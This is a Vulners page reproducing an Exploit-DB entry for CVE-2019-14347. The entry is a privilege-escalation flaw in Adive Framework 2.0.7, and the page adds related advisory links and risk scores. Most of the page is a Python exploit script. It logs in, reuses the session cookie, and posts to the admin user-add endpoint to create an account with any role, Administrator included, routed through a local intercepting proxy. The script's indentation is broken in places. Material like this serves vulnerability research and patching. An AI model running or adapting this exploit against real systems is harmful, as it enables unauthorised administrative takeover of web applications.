Lucene search
K

Adive Framework 2.0.7 - Privilege Escalation

🗓️ 08 Nov 2019 00:00:00Reported by Pablo SantiagoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 279 Views

Adive Framework 2.0.7 Privilege Escalation, bypass authentication, create use

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Adive Framework 2.0.7 - Privilege Escalation Exploit
8 Nov 201900:00
zdt
CNVD
Schben Adive Privilege Control Vulnerability
7 Aug 201900:00
cnvd
CVE
CVE-2019-14347
6 Aug 201916:34
cve
Cvelist
CVE-2019-14347
6 Aug 201916:34
cvelist
EUVD
EUVD-2019-5563
7 Oct 202500:30
euvd
exploitpack
Adive Framework 2.0.7 - Privilege Escalation
8 Nov 201900:00
exploitpack
NVD
CVE-2019-14347
6 Aug 201917:15
nvd
OSV
CVE-2019-14347
6 Aug 201917:15
osv
Packet Storm
Adive Framework 2.0.7 Privilege Escalation
8 Nov 201900:00
packetstorm
Prion
Design/Logic Flaw
6 Aug 201917:15
prion
Rows per page
# Exploit Title: Adive Framework 2.0.7 - Privilege Escalation
# Date: 2019-08-02
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows 10
# CVE : CVE-2019-14347

#Exploit

import requests
import sys

session = requests.Session()

http_proxy  = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"

proxyDict = {
             "http"  : http_proxy,
             "https" : https_proxy
           }
print('[*****************************************]')
print('[ BYPASSING Adive Framework Version.2.0.5 ]')
print('[*****************************************]''\n')



print('[+]Login with the correct credentials:' '\n')

user = input('[+]user:')
password = input('[+]password:')
print('\n')

url = 'http://localhost/adive/admin/login'
values = {'user': user,
          'password': password,
          }

r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()['PHPSESSID']

print('Your session cookie is:'+ cookie +'\n')


host = sys.argv[1]
print('Create the new user:')
userName = input('[+]User:')
userUsername = input('[+]UserName:')
password = input('[+]Password:')
password2 = input('[+]Confirm Password:')
print('The possibles permission are: 1: Administrator, 2: Developer, 3:Editor')
permission = input('[+]permission:')

if (password == password2):
#configure proxy burp

#hacer el request para la creacion de usuario
data = {
'userName':userName,
'userUsername':userUsername,
'pass':password,
'cpass':password2,
'permission':permission,

}

headers= {
'Cookie': 'PHPSESSID='+cookie
}

request = session.post(host+'/adive/admin/user/add', data=data,
headers=headers, proxies=proxyDict)
print('+--------------------------------------------------+')

else:
print ('Passwords dont match!!!')

#PoC
https://imgur.com/dUgLYi6
https://hackpuntes.com/wp-content/uploads/2019/08/ex.gif

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Nov 2019 00:00Current
9High risk
Vulners AI Score9
CVSS 26.5
CVSS 3.18.8
EPSS0.05711
279